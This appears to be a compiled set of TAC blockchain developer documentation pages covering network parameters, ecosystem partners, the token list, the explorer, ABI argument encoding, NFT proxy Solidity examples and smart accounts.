Add Saint Petersburg testnet to your wallet with RPC endpoint `https://spb.rpc.tac.build` and Chain ID `2391` before requesting tokens.
Use testnet tokens for contract deployment, transaction testing, and hybrid
dApp development without real value at risk.
For large-scale testing or educational purposes, reach out on [Telegram](https://t.me/TACbuild) for additional token allocation.
# Ecosystem
Source: https://docs.tac.build/ecosystem/index
TAC's ecosystem partners providing oracles, interoperability, data indexing, development tools, and infrastructure
TAC works with established partners across the blockchain ecosystem to provide developers with proven tools and services for building hybrid dApps.
Find more partners on our [main page](https://tac.build/tacnetwork).
## Infrastructure
The core TAC-maintained building blocks.
## Oracles
Services that provide smart contracts with access to external, real-world data and off-chain price feeds.
## Interoperability
Protocols and bridges that enable seamless communication and asset transfers between different blockchain networks.
## Data and Indexers
Tools used to organize and query blockchain data efficiently, making it easier for applications to display user activity and history.
## Development Tools
A suite of frameworks and platforms designed to streamline the building, testing, and deployment of smart contracts.
## Multisig Wallets
Secure digital wallets that require multiple authorized signatures to approve a transaction, enhancing fund safety.
## RPCs
Infrastructure providers that offer the necessary endpoints to interact with the blockchain.
## Community Resources
Tools and resources built by the community.
Resources and tools for TAC Validators
# Hyperlane
Source: https://docs.tac.build/ecosystem/interoperability/hyperlane
Hyperlane is live on TAC and already onboarded some assets.
Refer to [Noon](https://app.noon.capital/bridge) with Hyperlane as a provider to bridge to/from TAC.
# LayerZero
Source: https://docs.tac.build/ecosystem/interoperability/layerzero
LayerZero works with asset issuers, chains, and applications to make money more extensible. Issue any asset on chain, extend its reach to new ecosystems, connect fragmented liquidity and more.
# Safe
Source: https://docs.tac.build/ecosystem/multi-sig-wallets/safe
Deploy secure multi-signature wallets on TAC with Safe's battle-tested smart contracts
Safe (formerly Gnosis Safe) is a multi-signature wallet that requires multiple signatures to execute transactions. Instead of one private key controlling funds, Safe requires M-of-N signatures from designated owners.
## How it works
Safe deploys a smart contract that acts as your wallet. You define:
* **Owners**: Addresses that can sign transactions
* **Threshold**: Number of signatures required (e.g., 2 of 3 owners)
When you want to send a transaction, enough owners must sign it before execution.
Safe deployment on TAC is provided by **Protofire**. Protofire is the official
partner of the Safe Team.
## Features
* **Configurable thresholds**: Change owners and signature requirements
* **Spending limits**: Set daily limits for specific tokens
* **Transaction batching**: Execute multiple operations in one transaction
* **Module system**: Add custom logic through Safe modules
## Setup
Navigate to [safe.tac.build](https://safe.tac.build) to access the Safe
interface for TAC
Connect your preferred wallet (MetaMask, WalletConnect, etc.) to the TAC
network
Click "Create new Safe" and configure your multi-sig parameters:
Add owner addresses
Set signature threshold (e.g., 2 of 3, 3 of 5)
Choose a name for your Safe
Deploy your Safe contract and fund it with your desired assets
Make sure all owner addresses are accessible and secure. Lost access to
required owner keys can result in locked funds.
# TON Multisig
Source: https://docs.tac.build/ecosystem/multi-sig-wallets/ton-multisig
Create multi-signature wallets on TON blockchain
TON Multisig is a multi-signature wallet solution for the TON blockchain that requires multiple signatures to execute transactions. It uses TON's native smart contracts to provide secure shared custody.
## How it works
TON Multisig deploys a smart contract on TON that requires multiple signatures before executing transactions. You configure:
* **Signers**: Addresses that can sign transactions
* **Proposers**: Addresses that can propose new transactions
* **Threshold**: Number of signatures required for execution
## Setup
Go to [multisig.ton.org](https://multisig.ton.org)
Click "Add signer" and input TON addresses that can sign transactions
Click "Add proposer" and input TON addresses that can propose transactions
Set the number of signatures required to execute transactions
Click "Create" to deploy the multisig contract
Ensure all signer and proposer addresses are accessible. Lost access to
required keys can lock your funds.
## Usage
Once deployed, your multisig works as follows:
1. **Proposer** submits a transaction proposal
2. Required number of **signers** approve the proposal
3. Transaction executes automatically once threshold is met
This provides secure shared custody for TON assets without requiring complex coordination between parties.
# Network Details
Source: https://docs.tac.build/ecosystem/network-info
The chain parameters for TAC networks
## Network Configuration
**TAC Mainnet** - Production network for live applications
| Parameter | Value |
| ------------------- | -------------------------------------------------------- |
| **Network Name** | TAC Mainnet |
| **RPC Endpoint** | `https://rpc.tac.build` |
| **Chain ID** | `239` |
| **Currency Symbol** | TAC |
| **Block Explorer** | [https://explorer.tac.build](https://explorer.tac.build) |
| **Fee Schema** | EIP-1559 |
| **Block Time** | \< 2 seconds |
### Quick Add to Wallet
```json theme={null}
{
"chainId": "0xEF",
"chainName": "TAC Mainnet",
"rpcUrls": ["https://rpc.tac.build"],
"nativeCurrency": {
"name": "TAC",
"symbol": "TAC",
"decimals": 18
},
"blockExplorerUrls": ["https://explorer.tac.build"]
}
```
**TAC Saint Petersburg Testnet** - Current recommended testnet for development
| Parameter | Value |
| ------------------- | ---------------------------------------------------------------- |
| **Network Name** | TAC Saint Petersburg Testnet |
| **RPC Endpoint** | `https://spb.rpc.tac.build` |
| **Chain ID** | `2391` |
| **Currency Symbol** | TAC |
| **Block Explorer** | [https://spb.explorer.tac.build](https://spb.explorer.tac.build) |
| **Fee Schema** | EIP-1559 |
| **Block Time** | \< 2 seconds |
| **Faucet** | [https://spb.faucet.tac.build](https://spb.faucet.tac.build) |
### Quick Add to Wallet
```json theme={null}
{
"chainId": "0x957",
"chainName": "TAC Saint Petersburg Testnet",
"rpcUrls": ["https://spb.rpc.tac.build"],
"nativeCurrency": {
"name": "TAC",
"symbol": "TAC",
"decimals": 18
},
"blockExplorerUrls": ["https://spb.explorer.tac.build"]
}
```
## Getting Testnet Tokens
Refer to [Faucet page](/ecosystem/faucet)
## Common Integration Issues
**Adding TAC Networks:**
1. Open MetaMask settings
2. Go to "Networks" → "Add Network"
3. Use the network parameters above
4. Save and switch to the new network
**Common Issues:**
* Ensure Chain ID is entered as a number (239, 2391)
* Verify RPC URLs are correct
* Check that you're using the latest MetaMask version
**Verification Steps:**
1. Deploy your contract to the network
2. Wait for a few block confirmations
3. Use Hardhat's verify plugin or manual verification
4. Check the block explorer for verification status
**Troubleshooting:**
* Ensure exact constructor arguments
* Verify Solidity version matches
* Check that libraries are linked correctly
# APRO
Source: https://docs.tac.build/ecosystem/oracles/apro
APRO is building a secure platform by combining off-chain processing with on-chain verification, extending both data access and computational capabilities. This forms the foundation of APRO Data Service, improving data accuracy and efficiency while offering the flexibility to create custom solutions tailored to the specific needs of DApp businesses.
## Available Price Feeds
Up to date price feeds from the official docs:
## Data Push
APRO's threshold-based data updates use a "Push-Based" model. In this model, decentralized independent node operators continuously aggregate and push data updates to the blockchain when specific price thresholds or heartbeat intervals are reached. This approach enhances blockchain scalability, supports a broader range of data products, and ensures timely updates.
## Getting Started
Please refer to the APRO official docs [here](https://docs.apro.com/en/data-push/getting-started).
# EO
Source: https://docs.tac.build/ecosystem/oracles/eo
EO delivers high-stakes data through a decentralized, modular system purpose-built for security and reliability with a network of 140+ validators, backed by over \$2M in restaked ETH. Trusted by leading curators and money markets, EO powers price feeds across 25+ chains, enabling liquidity for RWAs, PT tokens, LP tokens, synthetic assets, and novel stablecoins.
## Available Price Feeds
| Feed | Network | Address |
| ---------- | ------- | --------------------------------------------------------------------------------------------------------------------------- |
| BTC/USD | Mainnet | [0x98BFa01a561d01f7d6ACbcBea71e20b1cAF0D08c](https://explorer.tac.build/address/0x98BFa01a561d01f7d6ACbcBea71e20b1cAF0D08c) |
| ETH/USD | Mainnet | [0x5716b9982f3873959a9c6c6aB0F55F10C4EE888E](https://explorer.tac.build/address/0x5716b9982f3873959a9c6c6aB0F55F10C4EE888E) |
| USDC/USD | Mainnet | [0x388C2CE48DE519fB57FfDd4b73C2755DCBD6e5DE](https://explorer.tac.build/address/0x388C2CE48DE519fB57FfDd4b73C2755DCBD6e5DE) |
| USDT/USD | Mainnet | [0x1B4D2eD5Cc36480c9ed2d86cdd26818c01A494F8](https://explorer.tac.build/address/0x1B4D2eD5Cc36480c9ed2d86cdd26818c01A494F8) |
| yUSD/USDC | Mainnet | [0x73cfdD7f1579b4EF4A3F007165E510428De3b3B0](https://explorer.tac.build/address/0x73cfdD7f1579b4EF4A3F007165E510428De3b3B0) |
| LBTC/USD | Mainnet | [0xaeA46DaFFe5E1A1eDd241AEB9600933e92433B9f](https://explorer.tac.build/address/0xaeA46DaFFe5E1A1eDd241AEB9600933e92433B9f) |
| TON/USD | Mainnet | [0x22443469b815Ac2497588F39ECc0525fBa8Af461](https://explorer.tac.build/address/0x22443469b815Ac2497588F39ECc0525fBa8Af461) |
| cbBTC/USD | Mainnet | [0xaE5Dc951d55535679252Cff49E89Af8cEcbf5E1f](https://explorer.tac.build/address/0xaE5Dc951d55535679252Cff49E89Af8cEcbf5E1f) |
| rsETH/ETH | Mainnet | [0xC2A8dc68d3F0EFe893FAab3D5414C18CAEDB58F5](https://explorer.tac.build/address/0xC2A8dc68d3F0EFe893FAab3D5414C18CAEDB58F5) |
| wstETH/ETH | Mainnet | [0x6a7c5E1453eD56B89ce05aDad746dcE01723E986](https://explorer.tac.build/address/0x6a7c5E1453eD56B89ce05aDad746dcE01723E986) |
## Integration
Find the integration guide in the official docs [here](https://docs.eo.app/docs/eprice/integration-guide).
# RedStone
Source: https://docs.tac.build/ecosystem/oracles/redstone
RedStone delivers frequently updated, reliable, and diverse data feeds for your dApp on TAC. RedStone is unique in many aspects, three notable ones are:
* The most gas-optimized oracle (make your dApp scalable)
* Unique price feeds (including LSTs, LRTs, RWAs and TAC-native assets)
* Modular Oracle Design allows for flexibility towards user needs
RedStone operates in two models **Push** and **Pull** both available on TAC.
## Available Price Feeds
Up to date TAC price feeds from the official docs:
## How to integrate [RedStone Push](https://docs.redstone.finance/docs/dapps/redstone-push/)?
The RedStone Push model ensures that data is pushed into onchain storage via a relayer. Dedicated to protocols designed for the traditional Push Oracles model, that want to have full control of the data source and update conditions (heartbeat and deviation threshold).
Push model is available on both TAC Testnet & Mainnet.
## How to integrate [RedStone Pull](https://docs.redstone.finance/docs/dapps/redstone-pull/)?
The RedStone Pull model allows your dApp to utilize data feeds delivered “on-demand”, only when the data is needed. Thanks to the implementation of the EVM-connector library and extending your Ethers.js, your dApp will be able to attach signed data packages with timestamps to call data of your users’ transactions.
Please see the specific steps and ready code samples in the [Docs](https://docs.redstone.finance/docs/introduction).
If you need help with integration join RedStone [Discord](http://redstone.finance/discord) and ask their team for help.
# Stork
Source: https://docs.tac.build/ecosystem/oracles/stork
Stork is an oracle protocol that enables sub-second data feeds onchain. Stork's full documentation is available [here](https://docs.stork.network).
## How does it work?
Stork is implemented as a pull oracle. Stork continuously aggregates data from our decentralized publisher network, verifies that data, audits it, then makes that data available. This data can then be pulled onto TAC via the Stork contract, and then used by any EVM application on TAC. For more information, please refer to [How It Works](https://docs.stork.network/introduction/how-it-works).
## Quickstart
Using Stork on TAC requires two primary steps:
1. **Pulling data** from Stork and putting it onchain via the Stork contract when it's needed.
2. **Reading data** from the Stork contract in your EVM contract.
### Pulling Data from Stork
The easiest way to pull data from Stork and make it available onchain is to use the Stork Chain Pusher and configure it to push any relevant assets to TAC. The Stork Chain Pusher will automatically listen to the Stork aggregator websocket, and push that data to the Stork contract on TAC whenever certain conditions are met. The following conditions are supported and can be combined:
1. **Percentage Change**: Push data when the price changes by a certain percentage.
2. **Time Interval**: Push data at a regular interval.
For more information on how to use the Stork Chain Pusher, please refer to [Putting Data onchain](https://docs.stork.network/introduction/putting-data-onchain).
### Reading Data from the Stork Contract
Reading from the Stork contract is as simple as calling its `getTemporalNumericValueV1(bytes32 id)` function from your contract. This function takes an encoded asset ID of the relevant asset and returns the latest value for that asset in the form of a `TemporalNumericValue` struct, which contains an integer value (multiplied by 10^18 for precision) and a UNIX nanosecond timestamp.
For more information on how to read data from the Stork contract, please refer to the [EVM Contract API](https://docs.stork.network/api-reference/contract-apis/evm).
# Ankr
Source: https://docs.tac.build/ecosystem/rpcs/ankr
Leading provider of blockchain infrastructure, offering a range of services including RPC nodes, indexing, and analytics
## TAC Network RPC Infrastructure
TAC offers full EVM compatibility through its Layer 1 blockchain. For reliable development and production environments, we've partnered with Ankr to provide enterprise-grade RPC infrastructure.
## Official Ankr RPC Endpoints
As our main RPC provider, Ankr delivers high-availability infrastructure specifically optimized for TAC Network:
| Type | Network | Endpoint |
| -------- | ----------- | ------------------------------------------------------------- |
| JSON-RPC | Mainnet | [https://rpc.ankr.com/tac](https://rpc.ankr.com/tac) |
| JSON-RPC | SPB Testnet | [https://rpc.ankr.com/tac\_spb](https://rpc.ankr.com/tac_spb) |
## Integration Steps
The TAC Network supports multiple access methods:
* EVM JSON-RPC: For standard Ethereum-compatible development
* Tendermint: Direct access to the consensus layer
* Cosmos REST/gRPC: For Cosmos SDK-based interactions
For EVM application integration using Ankr's RPC services:
```
// Example configuration with ethers.js
import { ethers } from 'ethers';
// Connect via Ankr's RPC endpoint
const provider = new ethers.providers.JsonRpcProvider('https://rpc.ankr.com/tac_spb');
// Test connection
async function checkConnection() {
const blockNumber = await provider.getBlockNumber();
console.log(`Connected to TAC network at block: ${blockNumber}`);
}
```
Or for deployment on TAC L1 using Foundry
```
forge create --rpc-url https://rpc.ankr.com/tac_spb --private-key YOUR_PRIVATE_KEY_HERE YOUR_CONTRACT --legacy --broadcast
```
## Testing Your Integration
Before production deployment:
* Get testnet tokens from the [TAC Faucet](https://spb.faucet.tac.build)
* Test transactions through Ankr's RPC endpoints
* Monitor performance via the Explorer
For enterprise-level support or custom RPC requirements, contact the TAC team directly.
# GetBlock
Source: https://docs.tac.build/ecosystem/rpcs/getblock
GetBlock is a multi-chain RPC provider with managed access to 130+ networks, including TAC mainnet and the SPB (Saint Petersburg) testnet
Shared nodes fit prototyping and scalable production traffic;
Dedicated Nodes deliver 1,000+ RPS, custom SLAs, and isolated infrastructure for high-traffic Telegram mini-apps, DeFi, and gaming.
Archive data is available across both services, including on regular Shared endpoints,
so you can query full historical state without provisioning a separate archive node.
Use the SPB testnet to validate contract deployments, bridge calls, and wallet flows against TAC before going to mainnet.
Nodes run from New York, Frankfurt, and Singapore for low-latency access across the US, Europe, and Asia.
# Token List
Source: https://docs.tac.build/ecosystem/token-list
Official (but not extensive) token registry for TAC Mainnet
The table below contains the canonical Token List for the TAC Mainnet (Chain ID: 239), providing standardized token metadata for wallets, DEXs, and other applications in the TAC ecosystem.
To add/request a new asset, please refer to this [Github Repo](https://github.com/TacBuild/tokenlist)
| Symbol | Name | Address | Decimals | Tags | Jetton | Extensions |
| ------ | ------------------------------- | ------------------------------------------ | -------- | ---------------------------------------- | --------------------------------------------------- | --------------------------------------------------------- |
| TAC | TAC Token | 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee | 18 | tac-native, yieldbearing | EQBE\_gBrU3mPI9hHjlJoR\_kYyrhQgyCFD6EUWfa42W8T7EBP | oftAdapterBSC: 0x1219c409faBe2C27Bd0D1A565daeed9Bd9f271dE |
| WTAC | Wrapped TAC | 0xB63B9f0eb4A6E6f191529D71d4D88cc8900Df2C9 | 18 | tac-native, yieldbearing | EQCXZSXYW1iUldSjo7OInor3-WD1cXzLQdhKocq\_fI5fh\_BR | - |
| TON | TON Token | 0xb76d91340F5CE3577f0a056D29f6e3Eb4E88B140 | 9 | ton-native, yieldbearing | - | - |
| WETH | Wrapped Ether | 0x61D66bC21fED820938021B06e9b2291f3FB91945 | 18 | eth, tac-lz-bridged | EQBTkLAhEteZCRgRe\_xMs5ZE0bMrduYxKbyzGCpXXW8dRWOT | oftAdapterETH: 0xf211D3B40A74632162F45F4d42A461b663694a9D |
| wstETH | Wrapped liquid staked Ether 2.0 | 0xAf368c91793CB22739386DFCbBb2F1A9e4bCBeBf | 18 | eth, tac-lz-bridged, yieldbearing | EQCrLRrwzV1gdV466gQpRXgGukNik3VExFg955ncWQiFN\_f5 | oftAdapterETH: 0x6ceA302B297bB8C49E56d04cC080480822795848 |
| cbBTC | Coinbase Wrapped BTC | 0x7048c9e4aBD0cf0219E95a17A8C6908dfC4f0Ee4 | 8 | btc, tac-lz-bridged | EQDhyPzbIjJT\_WnY3gGprjSYUK9fiGMjWMezxO8MZiUdfb\_B | oftAdapterETH: 0x59Ea2825d8Ad7D60cC6Aa77FFbDD0E89c0fBF539 |
| USD₮ | Tether USD | 0xAF988C3f7CB2AceAbB15f96b19388a259b6C438f | 6 | stablecoin, ton-native | EQCxE6mUtQJKFnGfaROTKOt1lZbDiiX1kCixRv7Nw2Id\_sDs | - |
| tsTON | Tonstakers TON | 0xD44F691aeD69fe43180B95b6F82f89c18Fb93094 | 9 | ton, ton-native, yieldbearing | EQC98\_qAmNEptUtPc7W6xdHh\_ZHrBUFpw5Ft\_IzNU20QAJav | - |
| bmTON | Bemo | 0x20512cF15E60242aB5237E0A76c873a338281397 | 9 | ton, ton-native, yieldbearing | EQCSxGZPHqa3TtnODgMan8CEM0jf6HpY-uon\_NMeFgjKqkEY | - |
| WIF | dogwifhat | 0x27e4Ade13d78Aad45bea31D448f5504031e4871E | 18 | tac-lz-bridged | EQBMeWeS3MGYYRKGFnWpiLRCX9IKrRa-LvbBAr8z9vDxAZ97 | - |
| LBTC | Lombard Staked Bitcoin | 0xecAc9C5F704e954931349Da37F60E39f515c11c1 | 8 | tac-lz-bridged, btc, yieldbearing | EQBGpvzFLsoQKsJDCdXt4PBEFGj2uhSx\_ERsYHkEk3KUqOQg | - |
| USN | USN | 0x51A30E647D33A044967FA3DBb04d6ED6F45455F6 | 18 | tac-hl-bridged, stablecoin | EQAdkcaiUMwAOcMzfW2m2mke3G4RdDkL4Dd4gfgsJNPxMwOD | - |
| sUSN | Staked USN | 0x5Ced7F73B76A555CCB372cc0F0137bEc5665F81E | 18 | tac-hl-bridged, stablecoin, yieldbearing | EQA4c6ShGataepF-sBnP\_teO1tZcURcQBzyeVliV3i0LImZh | - |
| USD0 | Usual USD | 0x9bB6983Ca454320BD8691409690B4FCCD489EE96 | 18 | tac-lz-bridged, stablecoin | EQAzlv9Ljh39jguSBJw257nJMx40qg6Z2cjOrXEmIamjMm1m | - |
| USD0++ | USD0 Liquid Bond | 0x1791BAff6a5e2F2A1340e8B7C1EA2B0c1E2DD1ea | 18 | tac-lz-bridged, stablecoin, yieldbearing | EQDLLM06LS3S8R01zbmOuKZIfZxBixsv8bKXtIsQ8NYJmLsd | - |
| USR | Resolv USD | 0xb1b385542B6E80F77B94393Ba8342c3Af699f15c | 18 | tac-lz-bridged, stablecoin | EQAcY5ASRQdN1UmM9BMxYyNEfXB3ywcsQ4FkFT2DJdzvwyFx | - |
| RLP | Resolv Liquidity Provider Token | 0x35533f54740F1F1aA4179E57bA37039dfa16868B | 18 | tac-lz-bridged, stablecoin, yieldbearing | EQCjlNsHFSAStF2FWFF5oyxwKomAeiRDqkSd1cLMIEeQ1pvd | - |
| wstUSR | Wrapped Staked USR | 0x2a52B289bA68bBd02676640aA9F605700c9e5699 | 18 | tac-lz-bridged, stablecoin, yieldbearing | EQBqn2jmZ5LiDUG4mTs28uZsTsoZuTBT2O\_6Sd4icJw9HTrr | - |
| M-BTC | Merlin's Seal BTC | 0xe82dbD543FD729418613d68Cd1E8FC67b0f46E31 | 18 | tac-lz-bridged, btc | EQB7UZz\_r1mBLZ\_DwaHy-hDgKUFQbc\_R6cVpignE4Efes5-R | - |
# Block Explorer
Source: https://docs.tac.build/explorer/overview
Explore TAC blockchain data with our custom Blockscout explorer featuring cross-chain operation tracking
TAC uses a custom version of Blockscout that includes specialized features for tracking cross-chain operations and transactions between TON and TAC EVM.
This enhanced explorer provides visibility into both standard EVM transactions and TAC's unique hybrid dApp functionality.
## Available Explorers
Get your tokens on the [Faucet](https://spb.faucet.tac.build)
## Features
Our custom Blockscout implementation includes additional functionality designed specifically for TAC's hybrid dApp ecosystem:
* Monitor cross-chain transactions as they progress
through the TON Adapter system, including stage progression and completion
status (**Operations** section).
* View connections between TON-side
transactions and their corresponding EVM executions.
* Track token movements between TON and TAC EVM.
* Complete transaction information including gas
usage, status, and event logs.
* Contract verification,
source code viewing, and interaction interfaces.
* Real-time network metrics, block information, and validator activity.
* Both explorers provide standard Blockscout API endpoints for programmatic
access to blockchain data and contract interactions.
# Introduction
Source: https://docs.tac.build/index
Meet the next generation of documentation. AI-native, beautiful out-of-the-box, and built for developers.
# TAC Documentation
Build hybrid dApps that connect EVM smart contracts to TON's 1 billion users. Deploy your Solidity code and let TON wallet users interact directly - no bridges, no complexity.
# Argument Encoding
Source: https://docs.tac.build/proxies/advanced-custom-proxy/argument-encoding
Advanced patterns for encoding complex data structures on your frontend
TAC proxy functions receive their parameters as ABI-encoded bytes.
This guide shows the encoding patterns for different data structure complexities.
All proxy functions must follow the signature `function name(bytes calldata tacHeader, bytes calldata arguments)`.
The `arguments` parameter contains your custom ABI-encoded data.
## Simple Parameters
Parameters without structure:
```solidity theme={null}
address tokenFrom;
address tokenTo;
uint256 amount;
```
Frontend **encoding** example using `ethers`:
```javascript theme={null}
import { ethers } from "ethers";
const abiCoder = ethers.AbiCoder.defaultAbiCoder();
const myProxyFunctionArguments = abiCoder.encode(
['address', 'address', 'uint256'],
[tokenFromAddress, tokenToAddress, tokenFromAmount]
);
```
And the associated **decoding** example in Solidity:
```solidity theme={null}
(address tokenFromAddress, address tokenToAddress, uint256 tokenFromAmount) =
abi.decode(arguments, (address, address, uint256));
```
Parameters within structure:
```solidity theme={null}
struct MyProxyFunctionArguments {
address tokenFrom;
address tokenTo;
uint256 amount;
}
```
Frontend **encoding** example using `ethers`:
```javascript theme={null}
import { ethers } from "ethers";
const abiCoder = ethers.AbiCoder.defaultAbiCoder();
const myProxyFunctionArguments = abiCoder.encode(
['tuple(address,address,uint256)'],
[[tokenFromAddress, tokenToAddress, tokenFromAmount]]
);
```
And the associated **decoding** example in Solidity:
```solidity theme={null}
MyProxyFunctionArguments memory args =
abi.decode(arguments, (MyProxyFunctionArguments));
```
## Advanced Parameters
Parameters in structs containing other structs:
```solidity theme={null}
struct AnyExtraInfo {
address feeCollector;
uint256 feeRate;
}
struct MyProxyFunctionArguments {
AnyExtraInfo extraInfo;
address tokenFrom;
address tokenTo;
uint256 amount;
}
```
Frontend **encoding** example using `ethers`:
```javascript theme={null}
const extraInfo = [feeCollectorAddress, feeRate];
const myProxyFunctionArguments = abiCoder.encode(
["tuple(tuple(address,uint256),address,address,uint256)"],
[[extraInfo, tokenFromAddress, tokenToAddress, tokenAmount]]
);
```
And the associated **decoding** example in Solidity:
```solidity theme={null}
MyProxyFunctionArguments memory args =
abi.decode(arguments, (MyProxyFunctionArguments));
```
Parameters in dynamic arrays:
```solidity theme={null}
struct MyProxyFunctionArguments {
address[] path;
uint256 amount;
}
```
Frontend **encoding** example using `ethers`:
```javascript theme={null}
const path = [tokenFromAddress, tokenToAddress];
const myProxyFunctionArguments = abiCoder.encode(
["tuple(address[],uint256)"],
[[path, tokenFromAmount]]
);
```
And the associated **decoding** example in Solidity:
```solidity theme={null}
MyProxyFunctionArguments memory args =
abi.decode(arguments, (MyProxyFunctionArguments));
```
## TAC SDK Integration
When using the TAC SDK to create messages for bridging, you must provide:
* **target**: the address of your Proxy contract
* **method\_name**: the complete function signature, e.g. `"myProxyFunction(bytes,bytes)"`
* **arguments**: the ABI-encoded arguments (second parameter in your proxy function)
* **gasLimit** (optional): the parameter that will be passed to the TAC side. The executor must allocate at least `gasLimit` gas for executing the transaction on the TAC side. If this parameter is not specified, it will be calculated using the `simulateEVMMessage` method (preferred)
Example:
```javascript theme={null}
const myProxyFunctionName = "myProxyFunction(bytes,bytes)";
const userMessage = {
target: MyProxyContractAddress,
method_name: myProxyFunctionName,
arguments: myProxyFunctionArguments, // from the previous encoding step
gasLimit?: // optional
};
```
## What's Next?
Still have questions after reading the **Advanced Custom Proxy** guide?
Check out the comprehensive documentation to find the answers you need.
Developer documentation within `@tonappchain/evm-ccl` NPM-package
You can also reach out to our developer community in [Telegram](https://t.me/TACbuild).
# NFT Support
Source: https://docs.tac.build/proxies/advanced-custom-proxy/nft-support
Learn how to handle NFTs in TAC proxy contracts with cross-chain bridging
TAC proxy contracts can receive, process, and bridge NFTs between TON and EVM networks.
This guide shows the example implementation patterns.
NFT proxy contracts must inherit from `IERC721Receiver` and implement the
required `onERC721Received` function to correctly receive ERC-721 tokens.
## NFT Proxy Implementation
The NFT proxy contract must inherit from `IERC721Receiver` and implement the required `onERC721Received` function to correctly receive ERC‑721 tokens.
```solidity theme={null}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import { TacProxyV1 } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1.sol";
import { TacHeaderV1, TokenAmount, NFTAmount, OutMessageV1 } from "@tonappchain/evm-ccl/contracts/core/Structs.sol";
contract TestNFTProxy is TacProxyV1, IERC721Receiver {
constructor(address crossChainLayer) TacProxyV1(crossChainLayer) {}
/**
* @dev Handles the receipt of an ERC-721 token.
*
* Returns its Solidity selector to confirm the token transfer.
*/
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure override(IERC721Receiver) returns (bytes4) {
return this.onERC721Received.selector;
}
/**
* @dev Receives NFTs bridged from TON.
*/
function receiveNFT(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer {
// this arguments just for example, you can define your own
NFTAmount[] memory nfts = abi.decode(arguments, (NFTAmount[]));
for (uint i = 0; i < nfts.length; i++) {
IERC721(nfts[i].evmAddress).approve(_getCrossChainLayerAddress(), nfts[i].tokenId);
}
TacHeaderV1 memory header = _decodeTacHeader(tacHeader);
// Bridge NFT back by creating an OutMessageV1
OutMessageV1 memory outMessage = OutMessageV1(
header.shardsKey,
header.tvmCaller,
"",
0, // roundTripMessages don't require tvmProtocolFee as it's already paid on TON
0, // roundTripMessages don't require tvmExecutorFee as it's already paid on TON
new string[](0), // no need to specify validExecutors as it's already specified in initial tx on TON
new TokenAmount[](0), // No ERC20 tokens bridged
nfts // NFTs to bridge (the 'amount' field is ignored for ERC721)
);
_sendMessageV1(outMessage, 0); // 0 TACs to send back
}
}
```
## Test ERC‑721 Token Contract
For testing purposes, you can use this simple ERC-721 implementation:
```solidity theme={null}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract TestERC721Token is ERC721 {
string private __baseURI;
constructor(string memory _name, string memory _symbol, string memory baseURI) ERC721(_name, _symbol) {
__baseURI = baseURI;
}
function mint(address _to, uint256 _tokenId) external {
_mint(_to, _tokenId);
}
function _baseURI() internal view override returns (string memory) {
return __baseURI;
}
}
```
## Key Implementation Points
### 1. Required Inheritance
```solidity theme={null}
contract TestNFTProxy is TacProxyV1, IERC721Receiver {
```
* Must inherit from both `TacProxyV1` and `IERC721Receiver`
* Order of inheritance matters for proper functionality
### 2. `onERC721Received` Implementation
```solidity theme={null}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure override(IERC721Receiver) returns (bytes4) {
return this.onERC721Received.selector;
}
```
* **Must** return the correct selector to confirm token receipt
* Without this, NFT transfers to your contract will fail
### 3. NFT Approval Pattern
```solidity theme={null}
for (uint i = 0; i < nfts.length; i++) {
IERC721(nfts[i].evmAddress).approve(_getCrossChainLayerAddress(), nfts[i].tokenId);
}
```
* Approve each NFT individually by tokenId before cross-chain transfer
* Use `_getCrossChainLayerAddress()` to get the correct approval target
### 4. `OutMessageV1` Structure for NFTs
```solidity theme={null}
OutMessageV1 memory outMessage = OutMessageV1(
header.shardsKey, // Use from incoming header
header.tvmCaller, // Send back to caller
"", // Must be empty
0, // roundTrip - already paid on TON
0, // roundTrip - already paid on TON
new string[](0), // roundTrip - already defined on TON
new TokenAmount[](0), // No ERC20 tokens
nfts // NFTs to bridge
);
```
### 5. `NFTAmount` Structure
The `NFTAmount` struct contains:
* `evmAddress` - The NFT contract address
* `tokenId` - The specific token ID
* `amount` - Ignored for ERC721 (always 0)
## Function Signature Requirements
NFT proxy functions follow the same signature requirements as regular proxy functions:
```solidity theme={null}
function receiveNFT(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
// Implementation
}
```
You can name the function whatever you want (e.g., `processNFT`, `handleNFT`, etc.) as long as it follows the `function (bytes calldata, bytes calldata) external` pattern.
## Argument Encoding for NFTs
When calling NFT proxy functions from the frontend, encode the `NFTAmount` array:
```javascript theme={null}
// Example: Encoding NFTAmount[]
const nftAmounts = [
[nftContractAddress1, tokenId1, 0], // amount is always 0 for ERC-721
[nftContractAddress2, tokenId2, 0],
];
const encodedArguments = ethers.AbiCoder.defaultAbiCoder().encode(
["tuple(address,uint256,uint256)[]"],
[nftAmounts]
);
const userMessage = {
target: nftProxyAddress,
method_name: "receiveNFT(bytes,bytes)",
arguments: encodedArguments,
};
```
# Smart Accounts
Source: https://docs.tac.build/proxies/advanced-custom-proxy/smart-accounts
Smart accounts for TAC enabling programmable wallets and advanced transaction patterns
Smart accounts (also known as *Account abstraction*) are used on TAC to solve two key problems:
1. **User separation** — without smart accounts, a dApp message sender on the proxy side is effectively always the proxy itself, so it’s hard to distinguish one user from another.
2. **Separate asset storage** — user assets are kept in a dedicated smart account, so funds don’t mix into one proxy balance and can wait there until they’re needed.
**Contract Addresses**: Find the latest *Smart Account Factory* and *Smart Account Blueprint*
addresses for both testnet and mainnet on the [Contract
Addresses](/ecosystem/contract-addresses) page.
## Core Concept
TAC uses a **shared factory approach** where:
* There is **one factory instance** (Smart Account Factory) deployed on the chain that everyone can use
* Each user gets **one smart account per proxy contract**
* Smart accounts support advanced features like multicall, NFT handling, and hook-based execution
* All accounts are upgradeable through the shared beacon pattern
**Advanced account logic with comprehensive capabilities:**
* Execute arbitrary transactions with custom validation
* Multicall support for batch operations
* One-time ticket system for secure proxy interactions
* NFT receiving capabilities (IERC721Receiver)
* Safe token operations with SafeERC20
* Execute and executeUnsafe methods
